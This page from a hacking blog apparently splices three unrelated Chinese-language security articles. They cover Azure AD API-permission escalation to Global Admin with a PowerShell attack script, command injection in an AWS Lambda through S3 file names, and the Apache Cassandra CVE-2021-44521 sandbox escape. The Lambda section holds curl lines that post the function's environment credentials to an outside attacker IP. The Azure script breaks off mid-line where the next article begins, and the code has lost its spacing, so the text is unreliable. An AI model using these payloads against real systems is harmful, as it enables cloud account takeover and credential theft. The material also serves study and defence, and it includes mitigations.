Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104437

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Microsoft 的Azure 是一個由主體、安全對像以及授予這些對象訪問權限的各種方式組成的複雜系統。一些權限操作由Azure AD 角色嚴格控制,而其他操作由角色和對象所有權者控制。 Azure 中的許多對像都受制於不同的權限系統,這會使訪問變得非常困難。

在這篇文章中,我將描述如何利用這些權限系統升級為全局管理員。我將描述作為攻擊者如何利用此系統,還將描述作為防御者如何進行安全配置。

在Azure 的攻擊研究中,至少有兩個人開放過API 權限利用:

马云惹不起马云 Dirk-Jan Mollema在此處討論了可利用的Azure API 權限。

https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/马云惹不起马云Lina Lau 在這裡討論了利用應用程序和服務主體對Azure 租戶進行後門攻擊。

https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html0x01 Azure API 權限介紹Azure AD 使用“角色”的概念為主體分配權限。例如,“全局管理員”是Azure AD 目錄角色。 Azure API 權限是一組完全不同的並行權限,可以授予Azure 服務主體。 Azure AD 角色和Azure API 權限之間存在一些重疊,但最好將它們視為並行權限系統。

這些並行系統可用於控制對相同對象的訪問,它們可用於授予對相同對象的訪問權限。但是,僅當主體通過該API 對目標對象進行操作時,才會考慮Azure API 權限系統中授予的特定權限:

image-20220303143724538.png

image-20220303143724538在繼續分析之前,先解釋一些專有名詞,這些系統非常複雜,在分析時很容易混淆。

Principal — 可以進行身份驗證的身份。在Azure-land 中,主體可以是用戶或服務主體,使用用戶名和密碼登錄時,你正在使用用戶主體對Azure 進行身份驗證。

Azure AD App Registration— 駐留在Azure 租戶中的應用程序對象。 Azure Apps是處理配置信息的地方,你可以在其中授予用戶對應用程序的訪問權限並讓應用程序執行操作。

Service Principal— Azure Apps在需要向Azure 進行身份驗證時使用的標識。服務主體可以使用用戶名和密碼進行身份驗證。就像用戶一樣,服務主體可以控制Azure 中的其他對象。

API Permission— 一種原子的、唯一可識別的權限,適用於特定的Azure Apps。 API 權限有兩種形式:“委派”和“應用”。 API 權限描述了授予Azure Apps的特定權限。

MS Graph API 中的API 權限以“Resource.Operation.Constraint”格式編寫。示例:“Directory.ReadWrite.All”是指授予此權限的主體可以讀取和寫入目錄中的所有對象。

App Role— 由Azure Apps授予的權限,可直接由授予它的主體使用。

Delegated Permissions— 由Azure 應用授予的權限,但只能代表已通過應用進行身份驗證的用戶使用。委託人不能自己使用委派角色,但他們可以模擬確實具有該角色的登錄用戶,代表用戶使用該角色。

Application App Role ——Azure Apps本身持有的權限。應用程序可以使用此角色,而無需用戶先登錄應用程序。

Resource App— 與Azure Apps訪問的應用程序關聯的唯一標識的服務主體。應用程序角色是按資源應用程序定義的。

根據上下文,所有這些術語都可以指代同一個對象:Service Principal、Enterprise Application、Resource App 和First Party Application。

下面會描述如何形成攻擊路徑。

0x02 利用API 權限實現權限提升作為Azure 管理員、防御者或攻擊者,你將與之交互的最常見的資源應用程序之一是Microsoft Graph。基本上,你想要採取的所有可利用的管理操作都可以通過Microsoft Graph API 實現。

每個Azure 租戶都有一個Microsoft Graph Resource App。你可以通過搜索其顯示名稱“GraphAggregatorService”在你自己的租戶中找到它。在我的賬戶中,Microsoft Graph 的“應用程序ID”是00000003–0000–0000-c000–000000000000:

image-20220303143745533 image-20220303143745533.png

為什麼是同一個ID?因為此應用實際上位於Microsoft 控制的Azure AD 租戶中,讓我們從Graph的角度思考這些事情:

image-20220303143901813 image-20220303143901813.png

這些對象具有相同的顯示名稱,但它們是具有不同ID 的不同對象。另外,上面藍色表示的信任邊界意味著Microsoft租戶中的Global Admin無法控制SpecterDev租戶中的Resource App,SpecterDev租戶中的Global Admin無法控制Microsoft租戶中的Azure App。

現在添加一些應用程序角色。應用程序角色特定於每個資源應用程序。為了在這裡解釋一種權限提升的可能性,我們將重點關注兩個應用程序角色:AppRoleAssignment.ReadWrite.All 和RoleManagement.ReadWrite.Directory:

image-20220303143930071 image-20220303143930071.png

此時,這些應用程序角色僅可供管理員授予服務主體,但實際上還沒有人擁有這些權限。繼續將“AppRoleAssignment.ReadWrite.All”應用程序角色授予另一個服務主體,將使其成為“Application App Role”(而不是“委託權限”),以便服務主體本身俱有此權限:

image-20220303143944905 image-20220303143944905.png

並且不要忘了“MyCoolAzureApp”服務主體與Azure Apps“MyCoolAzureApp”相關聯:

image-20220303144031432.png

image-20220303144031432現在“MyCoolAzureApp”已經設置好了,可以將自己或其他任何人變成全局管理員。為了理解這一點,需要討論一下這兩個特定的應用程序角色允許服務主體做什麼

Microsoft 文檔描述的“AppRoleAssignment.ReadWrite.All”權限:

“允許應用程序管理任何API(包括Microsoft Graph)的應用程序權限的權限授予和任何應用程序的應用程序分配,而無需登錄用戶。”

這意味著“AppRoleAssignment.ReadWrite.All”可讓你授予自己所需的任何API 權限。這個特殊的角色還繞過了手動的、人工的管理員授權過程。擁有這個角色意味著“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”:

image-20220303144142822 image-20220303144142822.png

可以用“RoleManagement.ReadWrite.Directory”做什麼?文檔描述如下:

“允許應用在沒有登錄用戶的情況下讀取和管理公司目錄的基於角色的訪問控制(RBAC)設置。這包括實例化目錄角色和管理目錄角色成員身份,以及讀取目錄角色模板、目錄角色和成員身份。”

換句話說,你可以授予自己任何你想要的目錄角色,包括全局管理員:

image-20220303144205142.png image-20220303144205142

我們的攻擊路徑就出來了:

1.MyCoolAzureApp 應用作為MyCoolAzureApp 服務主體運行。

2.MyCoolAzureApp 服務主體具有“AppRoleAssignment.ReadWrite.All”權限,允許授予自己“RoleManagement.ReadWrite.Directory”。

3.在授予自己“RoleManagement.ReadWrite.Directory”後,MyCoolAzureApp 服務主體可以將自己提升為全局管理員。

這是此攻擊路徑的實際操作視頻:

https://vimeo.com/646553826這是上面演示中的示例攻擊代碼:

##GrantingGlobalAdminrightsbychainingAppRoleAssignment.ReadWrite.AllintoRoleManagement.ReadWrite.Directory

#HelperfunctiontoletusparseAzureJWTs:

functionParse-JWTtoken{

#

.DESCRIPTION

DecodesaJWTtoken.Thiswastakenfromlinkbelow.ThankstoVasilMichev.

.LINK

https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell

#

[cmdletbinding()]

param(

[Parameter(Mandatory=$True)]

[string]$Token

)

#Validateasperhttps://tools.ietf.org/html/rfc7519

#AccessandIDtokensarefine,Refreshtokenswillnotwork

if(-not$Token.Contains('.')-or-not$Token.StartsWith('eyJ')){

Write-Error'Invalidtoken'-ErrorActionStop

}

#Header

$tokenheader=$Token.Split('.')[0].Replace('-','+').Replace('_','/')

#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0

while($tokenheader.Length%4){

Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='

$tokenheader+='='

}

Write-Verbose'Base64encoded(padded)header:$tokenheader'

#ConvertfromBase64encodedstringtoPSObjectallatonce

Write-Verbose'Decodedheader:'

$header=([System.Text.Encoding]:ASCII.GetString([system.convert]:FromBase64String($tokenheader))|convertfrom-json)

#Payload

$tokenPayload=$Token.Split('.')[1].Replace('-','+').Replace('_','/')

#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0

while($tokenPayload.Length%4){

Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='

$tokenPayload+='='

}

Write-Verbose'Base64encoded(padded)payoad:$tokenPayload'

$tokenByteArray=[System.Convert]:FromBase64String($tokenPayload)

$tokenArray=([System.Text.Encoding]:ASCII.GetString($tokenByteArray)|ConvertFrom-Json)

#Converts$headerand$tokenArrayfromPSCustomObjecttoHashtablesotheycanbeaddedtogether.

#Iwouldliketouse-AsHashTableinconvertfrom-json.Thisworksinpwsh6butforsomereasonAppveyorisntrunningtestsinpwsh6.

$headerAsHash=@{}

$tokenArrayAsHash=@{}

$header.psobject.properties|ForEach-Object{$headerAsHash[$_.Name]=$_.Value}

$tokenArray.psobject.properties|ForEach-Object{$tokenArrayAsHash[$_.Name]=$_.Value}

$output=$headerAsHash+$tokenArrayAsHash

Write-Output$output

}

#GetridofanytokensorAzureconnectionsinthisPowerShellinstance

Disconnect-AzureAD

Disconnect-AzAccount

$token=$null

$aadToken=$null

#ConnecttoAzureasMattNelson:

$AzureUserID='mnelson@specterdev.onmicrosoft.com'

$AzureTenantID='6c12b0b0-b2cc-4a73-8252-0b94bfca2145'

$AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force

$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword)

Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID

#ConnecttoAzureADasMattNelson:

$context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]:Instance.Profile.DefaultContext

$aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]:Instance.AuthenticationFactory.Authenticate($context.Account,`

$context.Environment,`

$context.Tenant.Id.ToString(),`

$null,`

[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]:Never,`

$null,'https://graph.windows.net').AccessToken

Connect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id

#Let'sverifytheobjectIDfortheGlobalAdminroleinourtenant:

Get-AzureADDirectoryRole|?{$_.DisplayName-eq'GlobalAdministrator'}

#MattNelsonisnotaGlobalAdmin:(

Get-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName

#MattNelsoncan'tpromotehimselftoGlobalAdmin:(

Add-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'-RefObjectId'825aa930-14f0-40af-bdef-627524bc529e'

#Let'sgettheobjectIDofthe'MyCoolApp'appregistrationobject:

Get-AzureADApplication-All$True|?{$_.DisplayName-eq'MyCoolApp'}

#MattNelsonownstheMyCoolAppappregistration,sohecanaddanewsecret

在本文中,我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景:攻擊者是如何使用易受攻擊的AWS Lambda函數獲得對雲環境的初始訪問權限的。最後,我們將為大家介紹針對這種攻擊手法的最佳防禦實踐。

眼下,無服務器技術正在成為業務應用程序的主流,有了它,用戶無需管理底層基礎設施即可實現可擴展性、性能和成本效益。並且,這些工作負載可以輕鬆擴展到每秒數千個並發請求。實際上,雲環境中使用最多的無服務器服務之一,就是AWS Lambda服務。

在考察應用程序的時候,一個基本要素就是安全性。比如,代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損,而且還可能導致雲帳戶被入侵。

關於AWS Lambda函數AWS Lambda是一種事件驅動的無服務器計算服務,允許運行用不同編程語言編寫的代碼,從而實現基於雲環境的自動化操作。

這種方法的主要優勢之一是,Lambda是在由AWS直接管理的高可用計算基礎結構中運行我們的代碼的。也就是說,與底層基礎設施相關的所有管理活動,包括服務器和操作系統維護、自動伸縮、修補和日誌記錄等,都是由雲供應商替我們完成的。

用戶只需在這些服務上運行實現自己所需功能的代碼就可以了。

安全共擔之痛對於雲環境的安全來說,雖然本質上是由雲供應商來管理的,但仍然允許用戶進行相應的配置,所以,安全問題和風險實際上與參與雙方共擔的。

1.png

由於用戶無法控制特定Lambda函數背後的基礎設施,因此,底層基礎設施的安全風險實際上是由雲供應商直接管理的。

通過AWS IAM,用戶可以限制lambda函數及其組件的訪問權限和允許的操作。如果對IAM角色或Lambda函數使用的對象的權限配置出錯,可能會造成嚴重的後果,導致雲環境被攻擊者拿下。更重要的是,在Lambda函數中實現的代碼是由用戶控制的,正如我們在後門所看到的,如果代碼中存在安全漏洞,該函數則可能被攻擊者用來訪問云賬戶並進行橫向移動。

攻擊場景我們將使用兩種不同的測試方法來考察兩個攻擊場景:黑盒測試和白盒測試,這是滲透測試中用來評估特定基礎設施、應用程序或功能的安全態勢的兩種主要測試方法。

從不同的角度來看Lambda函數將有助於更深入、更全面地了解我們函數的安全態勢,並幫助我們更好地理解可能的攻擊和相關風險。

黑盒測試與白盒測試進行黑盒測試時,攻擊方並不具備環境本身和軟件系統內部原理的任何信息。在這種測試方法中,攻擊者需要對特定功能的邏輯背後可能隱藏的內容做出假設,並不斷測試這些假設,以找到切入點。對於我們的場景,攻擊者既沒有云環境的任何訪問權限,也沒有任何關於雲環境或帳戶中可用的功能和角色的內部信息。

在白盒測試中,由於攻擊者已經獲得了內部信息,因此,他們可以在攻擊過程中利用這些信息。在進行這種測試時,我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。

因此,白盒測試被認為是最全面的測試方式。在我們的場景中,攻擊者在雲環境中具有隻讀的初始訪問權限,他們可以使用這些信息來評估已經部署的東西,以更好地鎖定攻擊目標。

#1黑盒測試場景

1.png

在這個攻擊場景中,攻擊者發現一個S3桶因為配置有誤而向公眾開放,其中含有公司的各種文件。

攻擊者能夠將文件上傳到存儲桶中,並在上傳後檢查文件配置。儘管攻擊者對Lambda中實現的代碼一無所知,但仍可以通過Lambda函數來獲得每個上傳文件的標籤。

我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內的所有對象。

awss3lsprod-file-bucket-eu 1.png

我們通過上傳文件獲得信息的一種方式就是檢查標籤,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標籤如下所示:

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

這些標籤肯定是自定義的,並在將文件上傳到存儲桶時動態添加。據推測,應該存在一種函數,用於添加與文件大小和路徑相關的標籤。

使用curl或awscli,我們可以嘗試上傳一個zip文件,看看標籤是否會自動添加到我們的文件中。

awss3cpconfig.zips3://prod-file-bucket-eu/

curl-XPUT-Tconfig.zip\

-H'Host:prod-file-bucket-eu.s3.amazonaws.com'\

-H'Date:Thu,02Dec202115:47:04+0100'\

-H'Content-Type:${contentType}'\

http://prod-file-bucket-eu.s3.amazonaws.com/config.zip一旦文件上傳,我們可以檢查文件標籤,結果表明標籤已經自動添加。

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

所以,我們可以非常確定的一點是:這些值背後存在一個AWS Lambda函數。當一個新對像在存儲桶中創建時,該函數似乎就會被觸發。當然,Path和Size這兩個標籤,似乎是為每個文件動態計算的,可能是通過執行OS命令檢索到的信息。

我們可以假設文件名用於在操作系統中查找文件,併計算文件大小。換句話說,文件名可能是用戶輸入,在OS命令中使用它來檢索要放入標籤中的信息。如果缺少用戶輸入驗證,攻擊者就可以通過向計算機提交精心構造的輸入來執行任意命令。

在這種情況下,我們可以嘗試在文件名中註入其他命令來實現遠程代碼執行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法,這樣,如果用戶輸入沒有得到很好的過濾,代碼就可能會執行這些命令。

讓我們嘗試追加命令curl來打開與另一個EC2的連接,為此,我們可以使用POST方法發送測試消息“testrceCurl”。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'testRCECurl'3.80.92.111:443;'從下面的屏幕中,我們可以看到命令已正確執行,並且我們收到了連接和POST消息。

1.png

通過這種方式,我們證明了用戶輸入根本沒有經過驗證,因此,我們可以在AWS Lambda OS上成功地執行任意命令。我們可以利用這個安全漏洞直接訪問云環境。

提取AWS憑據的方法之一,就是通過env變量。在這方面,我們已經證明,我們可以回連攻擊者的機器,並將env變量的內容髮送到POST消息中,以從中提取信息。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'`env`'3.80.92.111:443;zip' 1.png

使用curl命令,我們成功地獲取了雲憑據,並且可以使用這些憑據登錄到雲帳戶。這樣,我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。

awsstsget-caller-identity

{

'UserId':'AROA2PVZZYWS7MCERGTMS:corpFuncEasy',

'Account':'AccountID',

'Arn':'arn:aws:sts:AccountID:assumed-role/corpFuncEasy/corpFuncEasy'

}一旦進入,攻擊者就可以啟動枚舉過程來評估獲得的特權,並查看是否存在進一步提升雲帳戶特權的路徑。

#1白盒測試場景

1.png

下面,讓我們對前面提出的相同攻擊場景——攻擊者發現了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下,攻擊者可以通過網絡釣魚竊取憑據來訪問云環境,而受攻擊的用戶帳戶權限為:只讀權限。

由於具有隻讀訪問權限,攻擊者可以合併從lambda函數中實現的代碼中獲得的信息,以更好地發動針對性攻擊。

讓我們從檢查獲得的憑據是否對登錄雲帳戶有效開始入手。

awsstsget-caller-identity

{

'UserId':'AIDA2PVZZYWS3MXZKDH66',

'Account':'AccountID',

'Arn':'arn:aws:iam:AccountID:user/operator'

} 1.png

一旦登錄,我們就可以開始評估相關用戶或組的特權。在本例中,我們可以看到這裡附加了以下策略。

awsiamlist-attached-user-policies--user-nameoperator 1.png

我們只有隻讀權限,所以,接下來可以收集已經部署到賬戶中的信息,特別是關注配置錯誤的S3桶。

就像我們在黑盒測試場景中看到的那樣,我們可以合理地假設,發現的開放型存儲桶有一個lambda函數。因此,如果找到有關lambda函數的額外信息,將有助於更好地發動攻擊。

通過命令list-functions,我們可以看到賬戶中可用的lambda函數。就這裡來說,我們找到了corpFuncEasy函數及其相關信息,特別是該函數所使用的角色。

awslambdalist-functions 1.png

通過get-function,我們可以深入研究之前找到的lambda函數。在這裡,我們可以找到一些基本的信息,如下載函數代碼的鏈接。

wslambdaget-function--function-namecorpFuncEasy

{

'Configuration':{

'FunctionName':'corpFuncEasy',

'FunctionArn':'arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy',

.

},

'Code':{

'RepositoryType':'S3',

'Location':'https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-.'

},

'Tags':{

'lambda-console:blueprint':'s3-get-object-python'

}

}通過檢查代碼,我們可以更好地評估函數的安全性,並查看是否應用了安全最佳實踐。

1.png

在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用於subprocess命令並執行。

我們看到,這裡並沒有對文件名應用任何輸入驗證,也就談不上安全過濾了。現在,我們更清楚前面提到的攻擊為什麼能成功了。

在這裡,使用的文件名為“screen.zip;curl -X POST -d “testRCECurl” 3.80.92.111:443”,相應的subprocess命令如下所示:

'stat-c%sscreen.zip;curl-XPOST-d'testRCECurl'3.80.92.111:443'正如我們所看到的,使用分號字符,我們可以在stat命令後面追加其他要執行的命令。正如我們前面提到的,執行curl命令後,字符串將發送到攻擊系統的443端口。

如何防禦這種攻擊我們已經從黑盒測試和白盒測試的角度考察了相應的攻擊場景,但是我們如何進行防禦呢?在考察的場景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數,但是某些安全因素被忽略了。

為了成功地緩解這種情況,我們可以在不同的級別和不同的特性上採取行動。特別是,我們可以:

1、 禁用S3桶的公共訪問權限,這樣它就只能從內部訪問,並且只能被通過了雲賬戶認證的用戶訪問。

2、 檢查lambda函數中使用的代碼,以確保裡面沒有任何安全漏洞,所有的用戶輸入都按照安全編寫代碼的安全準則進行了正確處理。

3、 在應用於雲特性的所有AWS IAM角色中應用最小特權原則,以避免不必要的操作或在帳戶內出現特權提昇路徑。

下面,讓我們來看看上面提到的所有要點,詳細了解應該如何部署這些緩解措施。

禁用S3桶的公共訪問權限S3桶是AWS中用作存儲的關鍵組件之一;S3桶經常被那些入侵雲賬戶的攻擊者所利用。

盡可能地保持S3桶的安全,應用所有可用的安全設置,避免對我們的數據或文件進行不必要的訪問,這一點至關重要。

就本例來說,存儲桶是公開的,所有未經授權的用戶都能夠對它進行讀取和寫入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應用以下安全設置來限制訪問。

1.png

此外,通過對存儲桶施加ACL,可以定義允許對它執行哪些操作,以及可以訪問桶中的哪些對象;對於其他的操作和對象,則一律拒絕。

{

'Version':'2012-10-17',

'Statement':[

{

'Sid':'PublicReadGetObject',

'Effect':'Allow',

'Principal':'*',

'Action':[

's3:GetObject',

's3:PutObject'

],

'Resource':'arn:aws:s3:3bucket********/www/html/word/*'

},

{

'Sid':'PublicReadListObject',

'Effect':'Allow',

'Principal':'*',

'Action':'s3:List*',

'Resource':'arn:aws:s3:s3bucket********/*'

}

]

}審查lambda函數內部使用的代碼與任何其他Web應用程序一樣,保證代碼是按照安全最佳實踐來實現的,是避免安全問題的根本所在。當然,Lambda函數中的代碼也不例外,我們需要確保代碼是安全的、無懈可擊的。

就本案例來說,請看下面的代碼片段:

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執行命令。但是,文件名是由用戶決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據允許的字符進行適當的用戶輸入驗證和過濾。

為了進行正確、有效的驗證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,並應用輸入驗證的最佳實踐。

借助於正則表達式,我們可以只允許特定文件路徑中出現的字符,並在攻擊者試圖提交不良字符時阻止其執行。在下面的例子中,我們可以看到一個用正則表達式來驗證linux文件路徑的例子。

pattern='^\/$|(\/[a-zA-Z_0-9-]+)+$'

ifre.match(pattern,file_download_path):

file_count_KB=subprocess.check_output(

'stat-c%s'+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()需要說明的是,這個正則表達式是針對我們要驗證的字段或輸入的。 OWASP提供了很好的最佳實踐指南,當您需要處理任何類型的用戶輸入時,請遵循該指南。

在AWS IAM角色中應用最小特權原則藉助於AWS身份和訪問管理(IAM),我們可以安全地管理對AWS服務和資源的訪問。正如我們在第一節中所說,用戶負責管理身份和訪問管理層,並使用權限來控制對AWS資源的訪問。

由於雲環境中可用權限的粒度較細,所以,我們建議遵循最小特權原則,精確地賦予用戶執行其操作所需的權限。如果為用戶賦予了過大的權限,攻擊者可能利用這一點實現權限提升。

在黑盒測試場景中,攻擊者能夠使用與lambda函數關聯的AWS角色登錄帳戶。

攻擊者可能會繼續攻擊並提升自己在AWS內部的權限,因為可能存在特權配置錯誤。通過對分配給lambda函數的角色授予所需的最低權限,我們可以攻擊者提權路徑最小化,以確保即使遭到入侵,也不會危及整個雲環境。

當然,要想清楚地了解每個組、用戶或資源附加了哪些政策和角色,也並不是那麼容易。不過,我們可以藉助於持續監視雲中異常活動的安全工具,來生成安全事件。在AWS中,通過使用正確的工具,我們可以從CloudTrail事件和其他來源收集事件,以輕鬆地評估和加固雲環境的安全性。

小結雖然AWS Lambda函數在可擴展性和性能方面具有很大的優勢,但是,如果不以最佳實踐方式對安全進行全方位的管理,這些無服務器函數可能會被攻擊者濫用,成為入侵AWS賬戶的利器。

在Lambda代碼中施加適當的輸入驗證,在函數觸發器中應用安全最佳實踐,對於防禦攻擊者的入侵活動是至關重要的。正如在雲環境中經常發生的那樣,確保在IAM權限方面應用最小權限的原則,可以有效防禦提權攻擊。

微信截图_20220216154403.png

近日JFrog的安全研究團隊披露了Apache Cassandra中的一個RCE(遠程代碼執行)漏洞,該漏洞被分配給了CVE-2021-44521 (CVSS 8.4)。這個Apache安全漏洞很容易被利用,並且有可能對系統造成嚴重破壞,但幸運的是,它只體現在Cassandra 的非默認配置中。

Cassandra 是一個高度可擴展的分佈式NoSQL 數據庫,由於其分佈式特性的優勢,它非常受歡迎。 Cassandra 被Netflix、Twitter、Urban Airship、Constant Contact、Reddit、Cisco、OpenX、Digg、CloudKick、Ooyala 等企業使用。 Cassandra 在DevOps 和雲原生開髮圈中也非常受歡迎,這從它對CNCF 項目(例如Jaeger)的支持可以看出。

一些公司甚至提供基於Cassandra 的基於雲的一站式解決方案,例如DataStax(一種無服務器、多雲DBaaS)。

在這篇文章中,我們將介紹研究人員是如何發現RCE 安全漏洞的背景,提供有關PoC 漏洞利用的詳細信息,並分享建議的修復和緩解選項。

UDF 和NashornCassandra 提供了創建用戶定義函數(UDF) 以執行數據庫中數據的自定義處理的功能。

Cassandra UDF 默認可以用Java 和JavaScript 編寫。在JavaScript 中,它使用Java 運行時環境(JRE) 中的Nashorn 引擎,這是一個運行在Java 虛擬機(JVM) 之上的JavaScript 引擎。

在接受不受信任的代碼時,不保證Nashorn 是安全的。因此,任何允許此類行為的服務都必須始終將Nashorn 執行包含在沙箱中。

例如,運行以下Nashorn JavaScript 代碼允許執行任意shell 命令-

1.png

Cassandra 的開發團隊決定圍繞UDF 執行實現一個自定義沙箱,該沙箱使用兩種機制來限制UDF 代碼:

1.使用白名單和黑名單的過濾機制(只允許匹配白名單和不匹配黑名單的類):

2.png

2.使用Java 安全管理器來強制執行代碼的權限(在默認配置中,不授予權限)

如NashornEscape項目實施沙箱來保護Nashorn 代碼執行。

通過Nashorn 訪問Java 類Nashorn 引擎通過使用Java.type 提供對任意Java 類的訪問。

例如: var System=Java.type('java.lang.System') 將允許我們使用System 變量訪問java.lang.System 數據包。

具有足夠權限的用戶可以使用create函數查詢創建任意函數。例如,此函數會將其輸入打印到控制台:

3.png

用戶可以使用以下SELECT 查詢調用該函數。

4.png

CVE-2021-44521什麼時候會被利用當我們研究Cassandra UDF 沙箱實現時,我們意識到特定(非默認)配置選項的混合可以讓我們濫用Nashorn 引擎、逃離沙箱並實現遠程代碼執行,這就是CVE-2021-44521 的漏洞。

當cassandra.yaml 配置文件包含以下定義時,Cassandra 部署容易受到CVE-2021-44521 的攻擊:

5.png

請注意,這些是唯一需要的非默認配置選項,因為啟用UDF 時,所有用戶都可以創建和執行任意UDF,這包括默認啟用的匿名登錄(authenticator=AllowAllAuthenticator)。

請注意,Cassandra 也可以通過Config.java 配置文件進行配置,該文件支持與上述相同的標誌。

6.png

前兩個標誌啟用對Java 和JavaScript的UDF 支持。

enable_user_defined_functions_threads 是利用CVE-2021-44521 的關鍵。

Cassandra 還支持在UDF 中使用的其他腳本語言,例如Python。

JFrog 產品是否容易受到CVE-2021-44521 的攻擊?

JFrog 產品不受CVE-2021-44521 攻擊,因為它們不使用Apache Cassandra。

解釋enable_user_defined_functions_threads

源代碼(Config.java)如下:

7.png

enable_user_defined_functions_threads 默認設置為true,這意味著每個調用的UDF 函數都將在不同的線程中運行,並且具有沒有任何權限的安全管理器,我們將在後面的部分中介紹針對此默認配置的DoS 攻擊。

當該選項設置為false 時,所有調用的UDF 函數都在Cassandra 守護程序線程中運行,該線程具有具有某些權限的安全管理器。我們將展示如何濫用這些權限來實現沙箱逃逸和RCE。

請注意,源代碼中的文檔暗示關閉該值是不安全的,但由於拒絕服務漏洞。我們將演示關閉此值直接導致遠程代碼執行。

RCE通過沙箱逃逸UDF 沙箱不會直接允許我們在服務器上執行代碼,例如通過調用java.lang.Runtime.getRuntime().exec()。

在研究沙箱實現時,我們發現我們可以使用至少兩種方式逃離沙箱:

濫用Nashorn 引擎實例;

java.lang.System 的load 和loadLibrary 函數;

由於Cassandra 的類過濾機制允許訪問java.lang.System,所以這兩種方法都可以用來逃避沙箱。

第一種方法:濫用Nashorn 引擎實例為了完全逃離沙箱,我們必須:

1.禁用類過濾機制;

2.在沒有安全管理器的情況下運行;

當enable_user_defined_functions_threads 設置為false 時,我們的UDF 代碼運行在daemon 線程中,該線程具體有調用setSecurityManager 的權限!這立即允許我們關閉安全管理器,所以現在我們只需要繞過類過濾機制。

在Nashorn 上運行JavaScript 代碼時,我們可以使用this.engine 來訪問Nashorn 實例引擎。正如Beware the Nashorn 博客中所述,這實際上允許我們通過創建一個不受類過濾機制限制的新腳本引擎來繞過任何類過濾器。

但是,較新的Java 版本(8u191 及更高版本)已收到緩解措施,可在安全管理器處於活動狀態時阻止訪問this.engine。

我們可以調用setSecurityManager 來禁用安全管理器,然後訪問this.engine。

PoC 查詢結果如下所示:

8.png

此查詢將關閉安全管理器,將其設置為空,然後創建一個不受類過濾機制限制的新腳本引擎,在Cassandra服務器上運行任意shell命令。

執行PoC 是為了在Cassandra 服務器上創建一個名為“hacked”的新文件:

9.png

第二種方法:java.lang.System的load和loadLibrary函數除了Nashorn 轉義技術之外,還有更多的庫函數未被類過濾器過濾,並且在安全管理器關閉時可能被濫用於代碼執行。

例如,java.lang.System 的load 方法允許我們通過指定絕對路徑來加載任意共享對象。

假設攻擊者可以以某種方式將惡意共享對象文件上傳到易受攻擊的系統(只要攻擊者知道上傳文件的完整路徑,受害者設備上的上傳目錄是什麼並不重要),可以使用加載方法加載庫,它可以運行任意代碼作為其入口例程的一部分。

其他值得注意的漏洞當我們在一些非默認配置(儘管合理)上運行Cassandra和相關工具)時,我們發現並披露了一些值得一提的漏洞。這些選項被記錄為不安全,但我們想強這些漏洞及其確切影響,以便供應商不要在可公開訪問的網絡中部署此類配置。

Cassandra UDF 拒絕服務當啟用UDF函數並將enable_user_defined_functions_threads標誌設置為true(默認值)時,惡意用戶可以創建一個將關閉Cassandra守護進程的UDF,這是由UDF超時機制的行為引起的,該機制由user_defined_function_fail_timeout標誌控制。

如果UDF 函數運行超過分配的時間,則整個Cassandra 守護程序將被閉(不僅僅是運行UDF 的線程)。儘管這是記錄在案的行為,但攻擊者可以通過創建一個使用while(true) 永遠循環的函數來輕鬆地對整個數據庫進行DoS。

目前還沒有什麼直接方法緩解此漏洞(將user_function_timeout_policy 標誌從die 更改為ignore 可能會導致更嚴重的DoS),儘管可以通過確保低權限用戶無法創建任意UDF 來間接緩解該漏洞。

通過不安全對象反序列化的StressD RCECassandra 包含一個名為cassandra-stressd 的工具,用於對數據庫進行壓力測試。該工具已被Apache 記錄為“不安全”工具;

這是一個面向網絡的工具,默認情況下只監聽localhost 接口;

